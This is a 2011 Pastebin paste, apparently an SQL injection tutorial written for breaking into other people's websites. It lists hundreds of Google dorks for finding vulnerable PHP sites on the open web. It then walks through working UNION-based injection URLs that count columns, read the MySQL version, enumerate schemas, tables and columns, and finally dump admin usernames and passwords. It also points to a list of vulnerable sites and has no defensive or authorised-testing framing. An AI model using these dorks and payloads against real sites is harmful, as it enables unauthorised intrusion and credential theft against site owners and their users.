Advertisement
Hailedcap

SQL injection tutorial

Nov 22nd, 2011
904
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.42 KB | None | 0 0
  1. To find more tutorials go to this link:
  2.  
  3. http://adf.ly/3nuLE
  4.  
  5. Thank you :-)
  6.  
  7.  
  8.  
  9. Introduction:
  10.  
  11. Sqli (aka SQL Injection OR Structured Query LANGUAGE Injection) IS the FIRST step IN the entry TO exploiting OR hacking websites. It IS easily done AND it IS a great starting off point. Unfortunately most sqli tutorials suck, so that IS why I am writing this one. Sqli IS just basically injecting queries INTO a DATABASE OR USING queries TO GET authorization bypass AS an admin.
  12.  
  13. Finding Sites TO Inject:
  14.  
  15. Finding SQLI Vulnerable sits IS extremely easy ALL you need TO do IS SOME googling. The FIRST thing you need TO do are find SOME dorks.
  16.  
  17. SQLI DORKS:
  18. Code:
  19. inurl:trainers.php?id=
  20. inurl:buy.php?category=
  21. inurl:article.php?ID=
  22. inurl:play_old.php?id=
  23. inurl:declaration_more.php?decl_id=
  24. inurl:pageid=
  25. inurl:games.php?id=
  26. inurl:page.php?file=
  27. inurl:newsDetail.php?id=
  28. inurl:gallery.php?id=
  29. inurl:article.php?id=
  30. inurl:SHOW.php?id=
  31. inurl:staff_id=
  32. inurl:newsitem.php?num=
  33. inurl:readnews.php?id=
  34. inurl:top10.php?cat=
  35. inurl:historialeer.php?num=
  36. inurl:reagir.php?num=
  37. inurl:Stray-Questions-VIEW.php?num=
  38. inurl:forum_bds.php?num=
  39. inurl:game.php?id=
  40. inurl:view_product.php?id=
  41. inurl:newsone.php?id=
  42. inurl:sw_comment.php?id=
  43. inurl:news.php?id=
  44. inurl:avd_start.php?avd=
  45. inurl:event.php?id=
  46. inurl:product-item.php?id=
  47. inurl:SQL.php?id=
  48. inurl:news_view.php?id=
  49. inurl:select_biblio.php?id=
  50. inurl:humor.php?id=
  51. inurl:aboutbook.php?id=
  52. inurl:ogl_inet.php?ogl_id=
  53. inurl:fiche_spectacle.php?id=
  54. inurl:communique_detail.php?id=
  55. inurl:sem.php3?id=
  56. inurl:kategorie.php4?id=
  57. inurl:news.php?id=
  58. inurl:INDEX.php?id=
  59. inurl:faq2.php?id=
  60. inurl:show_an.php?id=
  61. inurl:preview.php?id=
  62. inurl:loadpsb.php?id=
  63. inurl:opinions.php?id=
  64. inurl:spr.php?id=
  65. inurl:pages.php?id=
  66. inurl:announce.php?id=
  67. inurl:clanek.php4?id=
  68. inurl:participant.php?id=
  69. inurl:download.php?id=
  70. inurl:main.php?id=
  71. inurl:review.php?id=
  72. inurl:chappies.php?id=
  73. inurl:READ.php?id=
  74. inurl:prod_detail.php?id=
  75. inurl:viewphoto.php?id=
  76. inurl:article.php?id=
  77. inurl:person.php?id=
  78. inurl:productinfo.php?id=
  79. inurl:showimg.php?id=
  80. inurl:VIEW.php?id=
  81. inurl:website.php?id=
  82. inurl:hosting_info.php?id=
  83. inurl:gallery.php?id=
  84. inurl:rub.php?idr=
  85. inurl:view_faq.php?id=
  86. inurl:artikelinfo.php?id=
  87. inurl:detail.php?ID=
  88. inurl:INDEX.php?=
  89. inurl:profile_view.php?id=
  90. inurl:category.php?id=
  91. inurl:publications.php?id=
  92. inurl:fellows.php?id=
  93. inurl:downloads_info.php?id=
  94. inurl:prod_info.php?id=
  95. inurl:shop.php?do=part&id=
  96. inurl:productinfo.php?id=
  97. inurl:collectionitem.php?id=
  98. inurl:band_info.php?id=
  99. inurl:product.php?id=
  100. inurl:releases.php?id=
  101. inurl:ray.php?id=
  102. inurl:produit.php?id=
  103. inurl:pop.php?id=
  104. inurl:shopping.php?id=
  105. inurl:productdetail.php?id=
  106. inurl:post.php?id=
  107. inurl:viewshowdetail.php?id=
  108. inurl:clubpage.php?id=
  109. inurl:memberInfo.php?id=
  110. inurl:SECTION.php?id=
  111. inurl:theme.php?id=
  112. inurl:page.php?id=
  113. inurl:shredder-categories.php?id=
  114. inurl:tradeCategory.php?id=
  115. inurl:product_ranges_view.php?ID=
  116. inurl:shop_category.php?id=
  117. inurl:transcript.php?id=
  118. inurl:channel_id=
  119. inurl:item_id=
  120. inurl:newsid=
  121. inurl:trainers.php?id=
  122. inurl:news-FULL.php?id=
  123. inurl:news_display.php?getid=
  124. inurl:index2.php?OPTION=
  125. inurl:readnews.php?id=
  126. inurl:top10.php?cat=
  127. inurl:newsone.php?id=
  128. inurl:event.php?id=
  129. inurl:product-item.php?id=
  130. inurl:SQL.php?id=
  131. inurl:aboutbook.php?id=
  132. inurl:preview.php?id=
  133. inurl:loadpsb.php?id=
  134. inurl:pages.php?id=
  135. inurl:material.php?id=
  136. inurl:clanek.php4?id=
  137. inurl:announce.php?id=
  138. inurl:chappies.php?id=
  139. inurl:READ.php?id=
  140. inurl:viewapp.php?id=
  141. inurl:viewphoto.php?id=
  142. inurl:rub.php?idr=
  143. inurl:galeri_info.php?l=
  144. inurl:review.php?id=
  145. inurl:iniziativa.php?IN=
  146. inurl:curriculum.php?id=
  147. inurl:labels.php?id=
  148. inurl:story.php?id=
  149. inurl:look.php?ID=
  150. inurl:newsone.php?id=
  151. inurl:aboutbook.php?id=
  152. inurl:material.php?id=
  153. inurl:opinions.php?id=
  154. inurl:announce.php?id=
  155. inurl:rub.php?idr=
  156. inurl:galeri_info.php?l=
  157. inurl:tekst.php?idt=
  158. inurl:newscat.php?id=
  159. inurl:newsticker_info.php?idn=
  160. inurl:rubrika.php?idr=
  161. inurl:rubp.php?idr=
  162. inurl:offer.php?idf=
  163. inurl:art.php?idm=
  164. inurl:title.php?id=
  165. buy.php?category=
  166. article.php?ID=
  167. play_old.php?id=
  168. declaration_more.php?decl_id=
  169. Pageid=
  170. games.php?id=
  171. page.php?file=
  172. newsDetail.php?id=
  173. gallery.php?id=
  174. article.php?id=
  175. play_old.php?id=
  176. SHOW.php?id=
  177. staff_id=
  178. newsitem.php?num=
  179. readnews.php?id=
  180. top10.php?cat=
  181. historialeer.php?num=
  182. reagir.php?num=
  183. forum_bds.php?num=
  184. game.php?id=
  185. view_product.php?id=
  186. newsone.php?id=
  187. sw_comment.php?id=
  188. news.php?id=
  189. avd_start.php?avd=
  190. event.php?id=
  191. product-item.php?id=
  192. SQL.php?id=
  193. news_view.php?id=
  194. select_biblio.php?id=
  195. humor.php?id=
  196. aboutbook.php?id=
  197. fiche_spectacle.php?id=
  198. communique_detail.php?id=
  199. sem.php3?id=
  200. kategorie.php4?id=
  201. faq2.php?id=
  202. show_an.php?id=
  203. preview.php?id=
  204. loadpsb.php?id=
  205. opinions.php?id=
  206. spr.php?id=
  207. pages.php?id=
  208. announce.php?id=
  209. clanek.php4?id=
  210. participant.php?id=
  211. download.php?id=
  212. main.php?id=
  213. review.php?id=
  214. chappies.php?id=
  215. READ.php?id=
  216. prod_detail.php?id=
  217. viewphoto.php?id=
  218. article.php?id=
  219. play_old.php?id=
  220. declaration_more.php?decl_id=
  221. category.php?id=
  222. publications.php?id=
  223. fellows.php?id=
  224. downloads_info.php?id=
  225. prod_info.php?id=
  226. shop.php?do=part&id=
  227. Productinfo.php?id=
  228. website.php?id=
  229. Productinfo.php?id=
  230. showimg.php?id=
  231. VIEW.php?id=
  232. rub.php?idr=
  233. view_faq.php?id=
  234. artikelinfo.php?id=
  235. detail.php?ID=
  236. collectionitem.php?id=
  237. band_info.php?id=
  238. product.php?id=
  239. releases.php?id=
  240. ray.php?id=
  241. produit.php?id=
  242. pop.php?id=
  243. shopping.php?id=
  244. productdetail.php?id=
  245. post.php?id=
  246. viewshowdetail.php?id=
  247. clubpage.php?id=
  248. memberInfo.php?id=
  249. SECTION.php?id=
  250. theme.php?id=
  251. page.php?id=
  252. shredder-categories.php?id=
  253. tradeCategory.php?id=
  254. shop_category.php?id=
  255. transcript.php?id=
  256. channel_id=
  257. item_id=
  258. newsid=
  259. trainers.php?id=
  260. buy.php?category=
  261. article.php?ID=
  262. play_old.php?id=
  263. iniziativa.php?IN=
  264. detail_new.php?id=
  265. tekst.php?idt=
  266. newscat.php?id=
  267. newsticker_info.php?idn=
  268. rubrika.php?idr=
  269. rubp.php?idr=
  270. offer.php?idf=
  271. hotel.php?id=
  272. art.php?idm=
  273. title.php?id=
  274. look.php?ID=
  275. story.php?id=
  276. labels.php?id=
  277. review.php?id=
  278. chappies.php?id=
  279. news-FULL.php?id=
  280. news_display.php?getid=
  281. index2.php?OPTION=
  282. ages.php?id=
  283. "id=" & intext:"Warning: mysql_fetch_assoc()
  284. "id=" & intext:"Warning: mysql_fetch_array()
  285. "id=" & intext:"Warning: mysql_num_rows()
  286. "id=" & intext:"Warning: session_start()
  287. "id=" & intext:"Warning: getimagesize()
  288. "id=" & intext:"Warning: UNKNOWN()
  289. "id=" & intext:"Warning: pg_exec()
  290. "id=" & intext:"Warning: array_merge()
  291. "id=" & intext:"Warning: mysql_result()
  292. "id=" & intext:"Warning: mysql_num_rows()
  293. "id=" & intext:"Warning: mysql_query()
  294. "id=" & intext:"Warning: filesize()
  295. "id=" & intext:"Warning: require()
  296.  
  297. Pick one of those dorks and add inurl: before it
  298. (If they do not already have it) and then copy and paste
  299. it into google. Pick one of the sites off google and go to it.
  300. For example the url of the page you are on may look like this
  301.  
  302. Code:
  303. http://www.example.com/index.php?id=3
  304.  
  305. To check that it is vulnerable all you have to do is
  306. put a ' at the end of the url. So now your url should
  307. Look like this
  308. Code:
  309. http://www.example.com/index.php?id=3'
  310.  
  311. Press enter and you get some kind of error. The errors will vary
  312. but it should look something like this
  313.  
  314. http://i982.photobucket.com/albums/ae308/blink1337/1.png
  315. Image exceeds set limits. Click to view full size image
  316.  
  317.  
  318. If an error happends that site is vulerable!
  319.  
  320. Also If you are lazy you can check
  321. my list of vulnerable sites here
  322.  
  323. http://allianceforums.co.cc/forums/thread-1249.html
  324.  
  325. Getting Number of Columns
  326.  
  327. After you find your vulnerable site the first step you need to take is
  328. to find the number of columns. The easiest way to do this is
  329. use the statement "ORDER BY". All you have to do is put ORDER BY (number)--
  330. at the end of your url. So it should look like this.
  331.  
  332. Code:
  333. http://www.example.com/index.php?id=3 ORDER BY (number)--
  334.  
  335. You want to start with ORDER BY 1-- and keep increasing the number by 1 until you get an error.
  336.  
  337. For example
  338.  
  339. Code:
  340. http://www.example.com/index.php?id=3 order by 1--
  341. http://www.example.com/index.php?id=3 order by 2--
  342. http://www.example.com/index.php?id=3 order by 3--
  343. http://www.example.com/index.php?id=3 order by 4--
  344. http://www.example.com/index.php?id=3 order by 5--
  345. http://www.example.com/index.php?id=3 order by 6--
  346. http://www.example.com/index.php?id=3 order by 7--
  347. http://www.example.com/index.php?id=3 order by 8--
  348.  
  349. Lets say on order by 8-- you get an error page. This means that the website has 7 columns because
  350. it will give you errors on anything over 7. If you have a bad memory you should open notepad and
  351. write the # of columns you find.
  352.  
  353. Finding Acsessable Columns
  354.  
  355. Now that we have the number of columns we need to get the column numbers that we can grab information from.
  356. We do this by by using the "UNION" "SELECT" and Number of columns. You put them together in your
  357. url like this
  358. Code:
  359. http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
  360.  
  361. For the end part of the url, (1,2,3,4,5,6,7) You put the number of columns
  362. you found in the first step. Since I found that the site I was testing had 7
  363. columns I put 1,2,3,4,5,6,7. Also remeber to put a - infront of the id number.
  364. After you do that you should get something like this...
  365.  
  366.  
  367. The page should look a bit fucked up and there should be 2 numbers on the page.
  368. These two numbers are the colum numbers we can get information from. We will replace them with statements later on so
  369. write them down or remeber them.
  370.  
  371. Finding MySQL Database Version
  372. The reasons you need the database name is to see weather or not the website is worth your time
  373. because any msql database under 5 you will have to blindly guess the table and column names.
  374. If you are a begginer and you find that the database is below 5 I urge you to find
  375. a different site.
  376.  
  377. Now we take one of the numbers that we found from the step above and replace it with @@version
  378. For Example, before our url looked like this
  379. Code:
  380. http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--
  381.  
  382. Now since we will replace the 1 with @@version
  383.  
  384. Code:
  385. http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--
  386. Press enter and now the page should display the database number.
  387.  
  388.  
  389. Now the number that we had in the first step will be replaced with the database number. As it shows above
  390. The site that I am testing has a version number of 5.0.45. Since this number is 5 or above we will continue working on
  391. this site.
  392.  
  393. Finding Database Names
  394.  
  395. Next we are going to inject the website to find the database names. We do this by replacing @@version
  396. with group_concat(schema_name) and also add + from+information_schema.schemata-- after the last number in our url
  397. So now our url should look like this
  398.  
  399. Code:
  400. http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--
  401.  
  402.  
  403. It will list the database names. Now to find which one is currently in use replace group_concat(schema_name) with
  404. concat(database()) and delete + from+information_schema.schemata So the url should now look like this
  405.  
  406. Code:
  407. http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--
  408. It will display which database which is in use. You may want to write it down.
  409.  
  410.  
  411. Finding Table Names
  412.  
  413.  
  414. To get table names of current database you need to replace concat(database()) with group_concat(table_name)
  415. and add from information_schema.tables where table_schema=database() between the last number and the -- also remove the
  416. + signs from the union select. Now your url should look like this
  417.  
  418. Code:
  419. http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--
  420.  
  421. The page should now show the Table names. You may want to write them down.
  422.  
  423. http://i982.photobucket.com/albums/ae308/blink1337/untitled-1.png
  424. Image exceeds set limits. Click to view full size image
  425.  
  426.  
  427.  
  428. Finding Column Names
  429.  
  430. This is exactly like getting table names you just change table_name to column_name and information_schema.tables to information_schema.columns.
  431. So your url should look like.
  432.  
  433. Code:
  434. http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--
  435.  
  436. This should give you the column names. You may want to write them down.
  437.  
  438. Lets say they gave us back the cloumn names
  439.  
  440. admin_username
  441. admin_password
  442.  
  443. Getting Information
  444.  
  445. Now we can have the database name, table names, and colomn names we can put them together and
  446. pull information from them. Do to this we need to put the following in our url.
  447. Code:
  448. http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--
  449.  
  450. Now replace columnname with the column names you want infomation from. The 0x3a will make a : to seperate the information
  451. for you. Put as many column names as you want to remeber to stick to the format. Also replace databasename.tablename
  452. With the database name and the table name the column names where in. After all this your url should look something
  453. like this.
  454.  
  455. Code:
  456. http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--
  457.  
  458. Now you should get usernames and passwords for the admin or what ever information you wanted to get.
  459.  
  460.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement